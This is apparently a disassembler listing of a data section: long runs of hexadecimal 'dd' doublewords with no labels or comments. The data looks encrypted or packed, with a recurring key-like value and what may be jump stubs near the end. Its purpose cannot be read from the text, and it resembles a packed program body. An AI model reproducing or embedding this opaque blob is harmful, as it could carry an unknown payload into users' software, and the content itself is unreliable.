		dd 8F702745h, 0A733747Bh, 0F25CE700h, 56ABBFDBh, 272A0632h
		dd 9B85B580h, 601C8D64h, 6F731236h, 0AFDFBE35h,	59AEB130h
		dd 5657A4B3h, 56BB5832h, 0D5FCB132h, 0E551EE61h, 8861DC4Ah
		dd 4C78A4EAh, 0A9A48000h, 5E474D77h, 0E757B132h, 31642A35h
		dd 0D50CBE41h, 59EAB54Dh, 5675F0B6h, 45534932h,	0CC5DB132h
		dd 2B87ECA7h, 0BD8EEEB3h, 1D5AC51Ah, 0E3A90034h, 29697B6Eh
		dd 0D27AB13Eh, 56BAB12Ch, 562D58CAh, 0BFCEB132h, 5657B13Dh
		dd 0B4C987EDh, 277D9D97h, 0EA34E157h, 0DD9080B2h, 0A902D0E4h
		dd 36A24ECDh, 0E9A17FB9h, 50BED0EBh, 8CABB132h,	0AA0C37E7h
		dd 56EF087Eh, 5915B132h, 56BAB3BDh, 0ED843A32h,	561B96BFh
		dd 36FC4253h, 801E46B3h, 0BFB582F7h, 56EAB123h,	7389B108h
		dd 0FFF891A6h, 91B778D7h, 5841E973h, 25E8D7E0h,	0AFCAD0BFh
		dd 0A92BC6DBh, 296944CDh, 0D27AB422h, 56BAB191h, 45D2BE52h
		dd 0BFAEB132h, 5657B13Ch, 36B5D2F8h, 0F05239A5h, 0C61D5405h
		dd 0DD1523CAh, 247331CCh, 29DED053h, 0D3A1B722h, 5657B1D6h
		dd 56ABB7DBh, 0D681C732h, 1742056Bh, 52323ACAh,	56AE5852h
		dd 3FA2B132h, 60A19BD5h, 2AABD860h, 96428DE4h, 22B1357Dh
		dd 0DD8C32EFh, 469CD0FDh, 0B4BAB132h, 0EFF13246h, 75BE8097h
		dd 53454375h, 0DDF7EEECh, 473CBD6Dh, 0B3EAB132h, 99968A1Ch
		dd 0C9D1CDADh, 0D475884Ah, 128312FAh, 570658CEh, 0BF57B132h
		dd 56D5B13Dh, 4F94F047h, 6715C83h, 0C0F5B55h, 0DDDCF790h
		dd 5347B575h, 0E557B132h, 1F25E7BDh, 59D9EEB9h,	56EAAEBAh
		dd 4FFCBE32h, 0BFBAB132h, 565DB126h, 0D09E13A6h, 0C5B720FCh
		dd 0F9A2ABF1h, 1FB6DAE2h, 0B85DB34Dh, 56623F3Dh, 4453B132h
		dd 395DB132h, 1B1BDEAEh, 60A29731h, 7CF3274Ah, 0F4C5BB28h
		dd 563C58A6h, 479CB132h, 35BAB132h, 0D50D51EAh,	0F70757DAh
		dd 0E40048B5h, 77CC1C48h, 59D1F6B9h, 56EAB0BFh,	9FE4432h
		dd 5C38BE3Eh, 365DB132h, 306476B2h, 2E9369B3h, 412DBE53h
		dd 0BFD5B132h, 56EAB120h, 0D4C34FC4h, 80645BE4h, 746A8C2Ch
		dd 1B988140h, 97C6234h,	56A25836h, 38FEB132h, 0BE8C768Bh
		dd 59AD92E1h, 56BABCB6h, 56555832h, 0D57B132h, 5F9CB212h
		dd 0BD282DACh, 30B5D137h, 0BE33EE88h, 5675B13Bh, 0A831D05Eh
		dd 43E79CC3h, 36CFEF9Eh, 56573A3Dh, 37CAB132h, 46AA32CEh
		dd 636FBE31h, 3675B132h, 56BAA2DBh, 0F4C64D32h,	73D3148Fh
		dd 8E5EFC39h, 6A74D1E4h, 85CD6772h, 56EB333Dh, 3780B132h
		dd 5B39BE73h, 365DB132h, 56AE333Dh, 0D731B132h,	37526FE5h
		dd 5E3C6819h, 88EAB132h, 0BFDEFEFFh, 0DF1E1BA7h, 0A35CB06Eh
		dd 0A9514E8Ah, 9ED6D1CDh, 3A0B934Fh, 1FFE0289h,	5353D045h
		dd 0AE75B132h, 59531AC1h, 0B25DB132h, 22AF03AEh, 0BEE054Ah
		dd 0CAE7D4D7h, 33CA3E8h, 36154ECEh, 30B73A54h, 3789398Ch
		dd 42B44953h, 0DBAEB132h, 1C67878Fh, 9B00A264h,	88F88E8h
		dd 995A4EC2h, 9FE7AB10h, 56BAB9DBh, 59F1A832h, 8BE265AAh
		dd 565F7319h, 56AA303Dh, 32CB132h, 36063AC7h, 0D7B43054h
		dd 1003D7BBh, 92DED08Bh, 4647D1CEh, 0D857B132h,	404421D6h
		dd 0BD867E75h, 0C3260B98h, 0BFA4268Dh, 56BAB134h, 0E2650472h
		dd 36CF47CBh, 5657B4DBh, 66E2DB32h, 0DD298AD5h,	0D5E5B977h
		dd 5675B125h, 0BFDBD152h, 565DB13Ch, 2738026Bh,	0C28EDFB9h
		dd 3DDAC7D6h, 36B49780h, 66FC0A54h, 6D146FB9h, 0D4B5BD77h
		dd 565DB16Dh, 139549C7h, 2D0BE22h, 36ABB132h, 0DDB3BC82h
		dd 132DD0F9h, 5675B1CEh, 56B65832h, 8CC9B132h, 79A72B28h
		dd 0E13F92D1h, 36CBDE06h, 56D53B3Dh, 5103B132h,	2C75B132h
		dd 42E597CFh, 373C8F72h, 56AE8EDBh, 5DBFD132h, 72ABB132h
		dd 0C13C9CD4h, 89950D79h, 0E17AA837h, 36DBE8F3h, 913C7EB9h
		dd 56AF4D77h, 0BFAFB132h, 56ABB12Ah, 56C73D3Dh,	0BE8AB132h
		dd 5675B138h, 1ED7D5D9h, 4E2FEB97h, 37F6D89Dh, 59374D53h
		dd 0C61B4A85h, 0AA903A53h, 56EABCDBh, 9EB00332h, 0F90DA8EEh
		dd 32E3FCCCh, 0AA67EF24h, 565B73CAh, 0D7A44952h, 56D5B134h
		dd 56EA3A3Dh, 314B132h,	56B4373Dh, 5FB4B132h, 2AEB132h
		dd 9C63851Ch, 65990DE2h, 56D5BEDBh, 28809E32h, 0AE2153Eh
		dd 56DE519Eh, 95F0AFB4h, 0BFCE5DB9h, 5657B13Ah,	0D68FC9B6h
		dd 560436BBh, 0AA2E3253h, 567C3A3Dh, 0AEDAB132h, 0C4A747B3h
		dd 0AECFD656h, 565E5852h, 0D609B132h, 5C579395h, 0BE68E55Ah
		dd 5675B132h, 9E503068h, 365A57FAh, 56AB323Dh, 0D731B132h
		dd 479ADCh, 378C46B9h, 56F8303Dh, 5B9CB132h, 58BAB132h
		dd 723EE927h, 0D3CE4D7Fh, 0B5BAA767h, 0AF6282CAh, 5D3C6A01h
		dd 0CBEAB132h, 0D513B136h, 4ADFC414h, 0BD4E200h, 56A258CEh
		dd 0C064B132h, 0AD7DC4C3h, 8361B573h, 0EC615DC2h, 5193CF4Ch
		dd 56BAA5DBh, 4C6A1432h, 98D46CA7h, 308EB14Fh, 44994468h
		dd 0A4901777h, 56D532AAh, 5498353Dh, 0D7DAB132h, 6674FCFAh
		dd 56BA5977h, 0A796B132h, 28104D3Ch, 205E48E1h,	0DA9E849Ch
		dd 21628D56h, 0FE91037h, 69DED06Ch, 612BBECDh, 0BF57B132h
		dd 56ABB126h, 27C9A321h, 0DB9C2963h, 27CF306Ch,	94AB13D5h
		dd 42BD0D0Ch, 0A3BA76B1h, 0A9F058CEh, 51424ECDh, 94D5B132h
		dd 9F0062D3h, 0D71542B3h, 0DB9BDEF2h, 29DED07Ch, 0D2A1B136h
		dd 5657B174h, 56BF3A3Dh, 593CB132h, 9EAB132h, 8C41F5AAh
		dd 0DB722D88h, 0ABBB85C2h, 292D5F48h, 0D258B13Eh, 56ABB110h
		dd 56C6333Dh, 0BE8AB132h, 5675B139h, 4BE75096h,	0EC5AEB3Ah
		dd 0DEAB9B5h, 56155853h, 0E0CBB132h, 132AD02Bh,	5769BECEh
		dd 0AA75B132h, 427D32CEh, 564D343Dh, 5D47B132h,	0D757B132h
		dd 25FA2B60h, 0AB799683h, 0BF13364Ah, 0A98A4E2Bh, 56BABEDBh
		dd 62C60F32h, 3DBDA7D1h, 2FE57596h, 0C4C020E9h,	53C5CEB1h
		dd 5672353Dh, 0BF15B132h, 56BAB13Eh, 1BA6A3B2h,	5887BD4Bh
		dd 0B047FF16h, 31799F8Dh, 0D52DD035h, 59ECA14Dh, 567502B7h
		dd 56A95832h, 2924B132h, 0A943CBC0h, 2F2AA0A5h,	80E81F6Eh
		dd 0E649BDBh, 0DD12F00Dh, 0DA7AB575h, 56BAB13Bh, 0EFAF3A52h
		dd 5F00E2Ah, 5A083A53h,	4B424DCBh, 36D5B133h, 56F83A3Dh
		dd 5A9DB132h, 0F3BAB132h, 0BDDFAC6Dh, 9B272749h, 0C2672F2h
		dd 56ABB4DAh, 0C8368D32h, 42025384h, 8575B132h,	3481CECAh
		dd 0B4F9C847h, 0B396A75h
		dd 48963311h, 9C9D384h,	115ED069h, 0AE16D136h, 5A2A3A53h
		dd 56A7373Dh, 0BF3DB132h, 56AEB126h, 66BB425Ah,	0BB801852h
		dd 597175D4h, 4B573BB2h, 6490A99Ah, 0BFDB4AB9h,	565DB134h
		dd 0BC4918F6h, 0D9BEB907h, 0AFABB132h, 59D1F6B9h, 56EAA8B3h
		dd 56615832h, 0AC12B132h, 0F101B1E8h, 0B8A163ACh, 0CC115CB9h
		dd 0B1D6AEDFh, 453CD64Ch, 65EAB132h, 0FC97283Dh, 0FF405079h
		dd 9A776BFh, 8C9AF5AAh,	9DC2D88h, 0E1A4D13Eh, 0EDB3D1ECh
		dd 5D035BF0h, 0AB75B132h, 8A6ED9B8h, 0ADC33FD7h, 37CF767Bh
		dd 0BF53EE19h, 56ABB13Dh, 7A4170EAh, 2625DF1Bh,	59995E6h
		dd 0D59ACF04h, 0D5A8B4D9h, 59ADA14Dh, 5657A0B7h, 0BFEA4832h
		dd 56D5B138h, 5B452D9Dh, 1976357Eh, 8F915E33h, 565DBADBh
		dd 7E6F1532h, 865ADA48h, 9D50A10Bh, 57D4EDBBh, 56F33B3Dh
		dd 429CB132h, 6EBAB132h, 63339E2Ch, 0BDA8A406h,	0E2EFB26Dh
		dd 45E6744Bh, 0EE2C1BFAh, 0A9154ECDh, 567008CAh, 0BEDAB132h
		dd 565DB123h, 41B8CE8Fh, 7F309493h, 4ED627F5h, 0A0485992h
		dd 0D7B048BCh, 585419FAh, 0FD49D073h, 565C383Dh, 0BF52B132h
		dd 0A9A84C1Bh, 56B2383Dh, 423CB132h, 46EAB132h,	7AD91993h
		dd 9381C9B3h, 855407D5h, 0CF700640h, 374C2331h,	0A41CBE52h
		dd 0DD8BE052h, 0DD8BD0FDh, 0DD154D77h, 8D05BEFAh, 0D3527853h
		dd 56AEB133h, 0DB5872CBh, 56ABB133h, 72DE1CAh, 0EF8C4952h
		dd 361488D2h, 0B33377B3h, 0B0DCDBFFh, 2638DFA8h, 5FBEE253h
		dd 42ABB132h, 0BF0AC205h, 0A36AD163h, 5675B1DAh, 0BC3BEB32h
		dd 51BB7DBBh, 5825BEC7h, 0BF57B132h, 56ABB13Bh,	0D2B7C950h
		dd 7FA79AFBh, 0FEF3CBFh, 36BD574Dh, 37843A54h, 56CA09CEh
		dd 5FBEB132h, 0DFABB132h, 3BB343E1h, 0CC628570h, 567048DAh
		dd 56BD5832h, 6A1DB132h, 0A42B26E1h, 365C3AEAh,	6E152B2h
		dd 6DB4EACAh, 4603D1F3h, 875B132h, 87B1F8D5h, 536F376Eh
		dd 37D22C0Ch, 0BE8A7BC9h, 56ABB13Ch, 0E8992EEDh, 6FCA8067h
		dd 7846CEF2h, 42522B6Bh, 0F05DB132h, 1215C33Dh,	6327E71Bh
		dd 0D91D4494h, 83F68F01h, 0D7106E7h, 999CD068h,	36BAB132h
		dd 565DA3DAh, 12EC6C32h, 0C1B0FDA4h, 9E618DBBh,	0D8C22C49h
		dd 0BF030F4Ah, 5675B135h, 88FE7B22h, 93FCD7Ah, 5620BE52h
		dd 3757B132h, 52E0B253h, 599A0B52h, 0D78CB15Ah,	37A438C4h
		dd 56BF5852h, 9C0EB132h, 0D66506B7h, 6D36DFD0h,	0F929BEF3h
		dd 59D5B132h, 56EAA7B1h, 46F5BE32h, 0BFBAB132h,	565DB139h
		dd 0D073F873h, 5C970F23h, 36C1309Ch, 55B44DB8h,	0D4E5A179h
		dd 5675B133h, 978148CEh, 5677333Dh, 5847B132h, 0F457B132h
		dd 0B338B3B1h, 1F421629h, 5629B0E9h, 565F58DDh,	0D4B5B132h
		dd 565DB13Eh, 56A83C3Dh, 0DD58B132h, 56ABB132h,	56D5C7DBh
		dd 0E98CD132h, 5E9C87C0h, 3ABAB132h, 883B94D4h,	373BF048h
		dd 5657EFDBh, 0CC264932h, 5132718Eh, 56EB3F3Dh,	0A98CB132h
		dd 0B30DD1E1h, 0CDF171B3h, 0BFCFD52Fh, 5657B10Dh, 0BF693A52h
		dd 56D5B13Fh, 5DC31296h, 9F4861C3h, 2F8E48A0h, 0CCD0D077h
		dd 514972D0h, 5657A5DBh, 0EBAE7A32h, 9AAA82CCh,	0C94CEE1Ah
		dd 22BD5CBFh, 0B16F7463h, 368E4EB4h, 816C3054h,	0D3649EFh
		dd 56ABB4DBh, 0CE62ED32h, 0AAB39C1Eh, 0BFB6496Ah, 56BAB121h
		dd 1FF46F35h, 36ACAF47h, 19419679h, 2C95E948h, 318C393h
		dd 56EABFDBh, 0F7FD5032h, 465C0082h, 77892BCh, 0DD7ED256h
		dd 56BF4DDEh, 0CABB132h, 984E5BB3h, 0DAE5B6D4h,	5675B125h
		dd 56BAA3DBh, 9135A232h, 0B6C7FF9Dh, 0EC91C09h,	1D8E0C10h
		dd 0AA5FAB98h, 5E6EBE52h, 5975B132h, 56BAB3BDh,	0DB3CD132h
		dd 0B0D1E888h, 40DDBE35h, 59ABB132h, 56D5A1B0h,	56E15832h
		dd 0A0D5B132h, 68ABB799h, 68CEDCC3h, 5EEB3A31h,	56563C3Dh
		dd 0AE5EB132h, 0DCDAB6BBh, 56EAB135h, 56743C3Dh, 0DD46B132h
		dd 0D152BD77h, 56AEB133h, 521038CBh, 56ABA5DBh,	76F30532h
		dd 744183D6h, 0B27A796Ch, 37F95E31h, 0CAD56742h, 46EB3A04h
		dd 54D3BE52h, 0DDABB132h, 115CD0CCh, 0DD8CD13Eh, 0DEB131FDh
		dd 4731BE53h, 0BF5DB132h, 56AEB13Eh, 0D5B9861Bh, 0DE79705Ch
		dd 0C6536BCAh, 0A3FEF4B9h, 0AE65F6BBh, 8E31D153h, 565B3A3Dh
		dd 0DCA1B132h, 5657B132h, 0D4A47853h, 56D5B112h, 56F95852h
		dd 89DFB132h, 6CEBB2B4h, 193897C1h, 0C19C89E1h,	8B516E18h
		dd 8740309Fh, 37FA59C5h, 56F13E3Dh, 0BF15B132h,	56BAB121h
		dd 305460Fh, 6468B5D9h,	639E3777h, 682E2A87h, 0AFB21A2Fh
		dd 56FA7353h, 300F0552h, 0A1ED63B3h, 90A8D153h,	0B6A9E8B7h
		dd 0BF37F635h, 56ABB13Eh, 0E7827F86h, 0A5008CD1h, 4BACA8E4h
		dd 50503054h, 4C35D0DCh, 0A306A641h, 5657BBDBh,	44D34332h
		dd 2CB53AF1h, 0A96E2141h, 0B65C9C87h, 0D3374835h, 51BECEDAh
		dd 56AF3A3Dh, 0BFAFB132h, 56ABB123h, 819C475h, 0F506E540h
		dd 3DC94683h, 95D3326Dh, 0BF8D4E5Ah, 56AEB138h,	271A3251h
		dd 0DE8A63A2h, 443CFE53h, 18EAB132h, 0D927252Dh, 0E73A8DADh
		dd 0EAB1AEE4h, 3D9166BCh, 0DF58E362h, 56ABB126h, 56D5BEDBh
		dd 0C7283332h, 9316769Eh, 67FC63ADh, 930E2041h,	0D7A83BBFh
		dd 7AFB6D4h, 56B73E3Dh,	30B5B132h, 545A40B3h, 5675A1DBh
		dd 907BAB32h, 12A09127h, 3A003EC9h, 48DA0761h, 0A95ED0D8h
		dd 302CD1E2h, 37480D8Dh, 5663353Dh, 0D6B5B132h,	565DB122h
		dd 56AEBADBh, 0FBE06632h, 0F81F1650h, 2F699CB9h, 4268BE68h
		dd 0BF75B132h, 56BAB13Dh, 0F42ABF08h, 0D80F8FF3h, 5537FB50h
		dd 0DB7891B9h, 0B054B7B0h, 59BCD135h, 0DD2C7985h, 0E1B5D0F4h
		dd 0BF3DBD72h, 56AEB13Fh, 3D8E6E11h, 0D2D05028h, 24AF98B2h
		dd 0E88CD14Ah, 0E17A4BEFh, 0DDDBD0ECh, 565658EAh, 7101B132h
		dd 77741BB8h, 0B74EA0DDh, 0BF8749FEh, 56EAB13Bh, 0EE3E3253h
		dd 46802D9Eh, 5BB5D180h, 9AEB132h, 0BCCDB4A4h, 96EA2EB8h
		dd 6640FE05h, 56EAA3DBh, 2971F332h, 0A6505965h,	565EB19h
		dd 85300710h, 0E28DFABh, 0BF9ABE53h, 56D5B13Eh,	5C69DB80h
		dd 0CC7451DDh, 3E9A4B5Ch, 0E6A5D168h, 95ADD0CBh, 0D8584452h
		dd 56ABB131h, 37140E3Dh, 4F6733BBh, 0D47AB6D2h,	56BAB120h
		dd 565DBCDBh, 13338032h, 0E53AA095h, 646798D8h,	36B41811h
		dd 8061D752h, 0DC1D0C7h, 51F57253h, 13E9h, 0F2E5D800h
		dd 8BC31278h, 90737A60h, 18E28784h, 0CC91623Fh,	148C0F52h
		dd 60000000h, 0E9C18B66h, 0Ah, 69447BA1h, 0E767C34Eh, 0E861F788h
		dd 0
		dd 0E4EA815Ah, 6007E6D1h, 14E9h, 968BD900h, 51FC2CD9h
		dd 25624BFDh, 0B029467Ah, 4525CFC9h, 850F617Fh,	1, 8BF952F9h
		dd 0E0198D82h, 6DB9F807h, 0F941C64Eh, 5E960h, 8AB0000h
		dd 8B465F08h, 0E1F761F7h, 0AE9h, 9AF01300h, 0AD8DDFF7h
		dd 5A5BE270h, 9840Fh, 66600000h, 661A88BBh, 6061F98Bh
		dd 959CCE81h, 0F38B6EA5h, 30390561h, 840F0000h,	1, 0FFFF25F5h
		dd 0E9607FFFh, 6, 2EB18851h, 0F2819B8Fh, 179BF961h, 8D828961h
		dd 0E907E019h, 0Ah, 62FE0A70h, 39B998DAh, 5AFC9D3Fh, 820F59F9h
		dd 1Ah,	148F0Fh, 0FE90000h, 0B9000000h,	84FDE05Bh, 9914A692h
		dd 5873A2A9h, 0FC3C9E1h, 986h, 8E0F6000h, 0
		dd 0F5161F9h, 784h, 1870F00h, 0F5000000h, 18B0Fh, 52F50000h
		dd 0E8FCh, 815A0000h, 0E6D2DEEAh, 7870F07h, 60000000h
		dd 26D1F7BBh, 800F6150h, 19h, 14E9h, 75136800h,	0E53E9D20h
		dd 60B142D8h, 987E5E20h, 9986951Dh, 0FC88B1Bh, 0B81h, 0C8816000h
		dd 1BDDC1A6h, 61FEBF0Fh, 0FFFE82E8h, 8B0F60FFh,	3, 8BCE8B66h
		dd 870F61CBh, 4, 61616060h, 7E9D233h, 0EF000000h, 0B27A6978h
		dd 0F1F7E81Fh, 0E9C28BF5h, 10h,	0CA30B62Ch, 62786264h
		dd 4D2BC984h, 8C478D29h, 6059F95Ah, 0EE960h, 0CC180000h
		dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 12E8h, 3A162800h
		dd 0CABB3872h, 0A38E909Dh, 250583DBh, 5EC2BE03h, 74C48061h
		dd 5E9C361h, 0B1000000h, 81A2B796h, 0FC08BF8h, 186h, 0C08BFC00h
		dd 0B8858DF5h, 0F507E697h, 0F9D0FFF9h, 0C18B66F9h, 0CACB8160h
		dd 0F48F94Eh, 184h, 8D61F500h, 0E6D1AB85h, 1850F07h, 0F9000000h
		dd 2F098589h, 890F07E0h, 7, 1890Fh, 8DF50000h, 0E6D2C285h
		dd 0DE907h, 0B0970000h,	0D3A4D897h, 6573C5BFh, 89CDD10Ah
		dd 0E0263D85h, 0FE907h,	0E0340000h, 0F70CFF1Ch,	5B9B83B1h
		dd 685F8AAAh, 0B853h, 60F90000h, 0CE9h,	0E6BC8400h, 0AB6F6F5h
		dd 4F519E44h, 0C00B610Fh, 198840Fh, 0C6F80000h,	0E0075985h
		dd 8E95607h, 2F000000h,	0D5B88AADh, 68EB0D9Ch, 0A9C530DFh
		dd 6BD88160h, 61613EDAh, 8860Fh, 850F0000h, 2, 0B5FF6160h
		dd 7E0292Dh, 0F9D88B60h, 0E8858D61h, 6007E37Fh,	0FE8h
		dd 0F5E46900h, 164FE21Ch, 0E874F1E7h, 8CE879E1h, 6059B3B4h
		dd 800Fh, 8E90000h, 6D000000h, 0F9ACC38Dh, 61D8293Eh, 0E9D0FF61h
		dd 9, 951388F3h, 8CE5AA5Ch, 12E907h, 1ECE0000h,	0EA91F8E5h
		dd 0E626D2BFh, 2AC3E38Fh, 8C5BE5D3h, 6E950h, 859D0000h
		dd 6D96080h, 5858D8Dh, 0F6007E0h, 18Eh,	6660F800h, 0E836C2BFh
		dd 8, 5EE37C57h, 2E53E41Fh, 5161615Ah, 1890Fh, 6AF50000h
		dd 14820F04h, 0E9000000h, 0Fh, 0CB20936Fh, 4FE862B4h, 255B1C1Ch
		dd 6855F899h, 1000h, 0EE9h, 7C560D00h, 5F432DF0h, 0E269306Bh
		dd 0FF8718DAh, 0E00465B5h, 0DE907h, 4F1E0000h, 0B6EDFB72h
		dd 0F2F4C2B7h, 0FF55C5D1h, 0E9FC60D0h, 0Dh, 0B6376160h
		dd 0AB890CD9h, 0B1A24753h, 66606140h, 12C1F081h, 11870Fh
		dd 0CE90000h, 2E000000h, 368CBE25h, 5A531001h, 6174ACD0h
		dd 465BD8Bh, 860F07E0h,	1, 3C7F03FCh, 0F1816660h, 0DE80916Ah
		dd 81F961C0h, 0F8C7h, 6060F500h, 8B0Fh,	0A3B30000h, 0ABBA5361h
		dd 5965B361h, 2447C761h, 60000020h, 8850Fh, 80600000h
		dd 0EB80C0C2h, 9D8D61D2h, 7E001EDh, 1890Fh, 8BFC0000h
		dd 13850F03h, 0E9000000h, 0Eh, 9BD9EF39h, 0AD790CA9h, 72D4D6A4h
		dd 0C00B21C2h, 41840Fh,	800F0000h, 1, 0E9008BF8h, 9, 0BC6CF18Fh
		dd 8DA7E10Eh, 0EE96085h, 66000000h, 725F940Ah, 0EC65456Bh
		dd 27C9D8A2h, 438961F4h, 0C830F04h, 0F000000h, 684h, 830F00h
		dd 0B9000000h, 234CF6h,	23E9h, 3246FD00h, 14h, 7 dup(0)
		dd 0B97E9h, 0D8316800h,	0C4E907E6h, 68FFFA71h, 7E6D93Ch
		dd 0FA71BAE9h, 0DABC68FFh, 0B0E907E6h, 68FFFA71h, 7E6DB99h
		dd 0FA71A6E9h, 0DD3D68FFh, 9CE907E6h, 68FFFA71h, 7E6DF80h
		dd 0FA7192E9h, 0E0A268FFh, 88E907E6h, 0F8FFFA71h, 81FDD478h
		dd 0F8B62FCh, 9915EC8Eh, 28A47B13h, 2B340BA1h, 790F96B8h
		dd 5A326A2h, 9030B22Eh,	1DB93DB9h, 844AA146h, 6329399Eh
		dd 31A42DB2h, 37C311ADh, 0A44017B3h, 4309C81Dh,	63226A0Ah
		dd 0F0DE9D06h, 0C276BC38h, 0ECCC9BCh, 22C37E68h, 0AA56E963h
		dd 9EE8C023h, 5C7FEE6h,	0C18182D0h, 10A6A33Bh, 0E483645h
		dd 46E9A855h, 17449592h, 85C437A4h, 40h, 371DE38Eh, 53632321h
		dd 32BCEDEAh, 6A670186h, 7F3EA71Ah, 226494B9h, 803FA863h
		dd 64290FD5h, 0F456322h, 0FB6662CAh, 0CECB00C1h, 90806A10h
		dd 0F1EB6322h, 3BE6F3A2h, 0EB34C437h, 3B000000h, 0B3EA4432h
		dd 0C98CBABCh, 7C189CCCh, 851BA22Eh, 8B27AB37h,	912DB13Dh
		dd 10933FBAh, 21232472h, 10822D4Ah, 206A672Ch, 5B435904h
		dd 0B43B62E6h, 3F740E93h, 0CAB8330Ah, 12ED34CDh, 0FA2A2799h
		dd 0E08CDA76h, 7F4504E1h, 6322908Ah, 77C8B661h,	0E73B2F55h
		dd 40806640h, 339C6323h, 6C43AC36h, 35F4F1D0h, 3FDEC48Ah
		dd 89F26323h, 0F975D8Ch, 0C26B05FDh, 17CE7D4h, 0B9DDDF7Fh
		dd 0C3BCBE06h, 3363037Fh, 0C029B3B0h, 29AA5601h, 36383987h
		dd 0BEF140B9h, 0CEFEFBB5h, 5FDAB147h, 429032B3h, 8D144441h
		dd 2B1CEDF7h, 512B72A0h, 935B3h, 3EE26200h, 0CC66EB67h
		dd 56F879F5h, 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h
		dd 1C986F0Dh, 0A723FA9Ah, 0BB08723h, 3B08EEB4h,	9F246329h
		dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 3B8927AAh, 9B46053Ah
		dd 84D268EFh, 173C8683h, 29632265h, 3BE772C0h, 3FCB19B9h
		dd 2BEB20BAh, 0BFC00EA4h, 648E78C2h, 66F96322h,	640FF5BBh
		dd 0FF856322h, 0FE181967h, 9EEC840Ah, 0D56B689Dh, 17FADF8Eh
		dd 0C520C437h, 27000000h, 0C311AD31h, 6A0A8C38h, 78384E1Ch
		dd 7C987772h, 931A4A47h, 7924AFFDh, 426DCDB3h, 6BEDE15Bh
		dd 477C7DCBh, 72E4004Ah, 42C65B42h, 763CE7A6h, 5B427290h
		dd 0FF4643ACh, 0A463FF83h, 0DEDB71F8h, 984D7420h, 0E93FEBD9h
		dd 0D6E7CD77h, 0EFE4AAD9h, 0A1632350h, 0FCC56138h, 0F87E2AE9h
		dd 14111260h, 9861FE5h,	99026B06h, 11A72EDAh, 1737BE3Ah
		dd 44B76B51h, 0E1167F5Bh, 0A0662CD7h, 0A3411B72h, 82Ah
		dd 7249ED6Dh, 0D771F6h,	8A610384h, 19F0880Eh, 0A980169Dh
		dd 840B43A0h, 189B17EEh, 0A527A37Ah, 2EB22E05h,	0BF16BB92h
		dd 293C13F9h, 19A22763h, 3D14AA31h, 0F79116C2h,	7BABA8A9h
		dd 7845BF7h, 0C311AD31h, 4017B337h, 9C81DA4h, 8F31B25Eh
		dd 678B4892h, 14C06322h, 6FF9F68Eh, 0A82CB806h,	35B9350Ch
		dd 692FDA99h, 63226783h, 73312E97h, 688A04CDh, 1D68FEEAh
		dd 966D098Dh, 3BFA961Ah, 89E4CA90h, 8FF8DBE8h, 452ED492h
		dd 5EDBE88Ah, 9D21B104h, 2AAE2A01h, 0AD9A408Eh,	34DBE88Ah
		dd 0D357672Eh, 0F7E56037h, 37C50A89h, 0F3F3C56h, 0F5A1EF8Bh
		dd 945A19CCh, 0E27C2E07h, 8D7339E4h, 0A1D3FC2Bh, 48B13B38h
		dd 0F9ECD571h, 423B743Ah, 5B0DBDCh, 9C41593Fh, 0BA3F75DAh
		dd 683DF661h, 86100D42h, 4029CF1Dh, 0ABDA9B97h,	0F2462A18h
		dd 8A71F1A0h, 1FACF78Dh, 250F273h, 0A6B30401h, 0F4BC8E3Fh
		dd 3DAh, 48EAB4FBh, 9DCAF9Dh, 0CC21A714h, 43020CF2h, 0CFB57B5Bh
		dd 0EB5B4301h, 40FF6882h, 4302947Ah, 423FA85Bh,	5716CFF2h
		dd 230A0091h, 0EF238C63h, 31CD6B15h, 0DB7462E4h, 85E94BAFh
		dd 744D9D9Ah, 4107B271h, 0E230795Bh, 5EF47B6Fh,	0DDDA0F10h
		dd 0A22BE8AEh, 0DC45EA10h, 6DFE28Eh, 227F8147h,	0A20BE434h
		dd 17B337E3h, 0A440C440h, 4F72F59Ah, 4AE8C2F4h,	6AAh, 0F2C96DEDh
		dd 8057F176h, 0AE18304h, 9970088Eh, 2900961Dh, 48BC320h
		dd 981B976Eh, 25A723FAh, 0AE32AE85h, 3F963B12h,	293D9379h
		dd 9922A763h, 7635B011h, 2266F3B0h, 4694FD63h, 0EF8B0FBBh
		dd 0A23EC2F2h, 8C7238E3h, 0A0632267h, 5A8F25ACh, 29EF9F5Dh
		dd 0C6952C5Ah, 22671A00h, 98CD3663h, 0CD7EBD9h,	0F888830Fh
		dd 4906CCFBh, 236B0293h, 7A68E3BAh, 61270F62h, 5B43157Bh
		dd 1924268Fh, 0CAE2F12h, 26AADAD7h, 2CB03C8Ah, 15B4290h
		dd 4A024B2h, 8C4B902Dh,	0C3D1C3D7h, 0D8000002h,	7635B011h
		dd 293923B0h, 0B3392D63h, 7C27E61Bh, 4A2EE08Eh,	8683BEF4h
		dd 6239CF56h, 7BC95FE6h, 28C1EAD5h, 0BD130163h,	37D36992h
		dd 2FB3E3E0h, 0D5EE8993h, 3DD8ABBh, 5CD65h, 0A64ACA00h
		dd 34CE53CFh, 0BE60E15Dh, 4DE56BE7h, 0DD73FA76h, 68E6FD06h
		dd 0F8744BE1h, 8400D775h, 0F8B6202h, 7318EF8Bh,	3E70561Ch
		dd 78C6329h, 35B0117Eh,	5A20CB76h, 5B426374h, 0D8221F88h
		dd 6329394Bh, 28EDC45h,	8F0BE27Eh, 95216F0Bh, 9B277511h
		dd 0CF6BEF18h, 0FD4B8081h, 0C6EE71h, 6329391Ah,	4A98CD36h
		dd 2DBA0963h, 29398167h, 0FF349D63h, 0AB3B8AE4h, 17B48B27h
		dd 0C431C0C2h, 20158h, 0AD315F00h, 8D38C311h, 63361CE2h
		dd 0E14A5B42h, 42632107h, 4C2C555Bh, 33172064h,	83B3B019h
		dd 2D55D8FFh, 42E98167h, 0FF349D5Bh, 0CD78F3CAh, 42E92107h
		dd 14D43D5Bh, 0A7A8F68Eh, 0F4675AAAh, 42E9482Eh, 3CFB645Bh
		dd 42E99076h, 0E43AC5Bh, 0F050894Fh, 0C32C6322h, 36D65804h
		dd 0E2CBB177h, 76DF6322h, 2B15BB79h, 966322E3h,	6DD05703h
		dd 655D3515h, 48457A14h, 0A5B2E3B2h, 0F3C43785h, 33h, 35B011FAh
		dd 5A20CB76h, 5B426374h, 0D8221F88h, 632264B3h,	0B7A564CDh
		dd 70913A15h, 0CA888537h, 23093A24h, 0D8ABA563h, 37B0ACA9h
		dd 0AEEAC4h, 31F10000h,	8A4844ADh, 0BAFBA55Eh, 24AB3785h
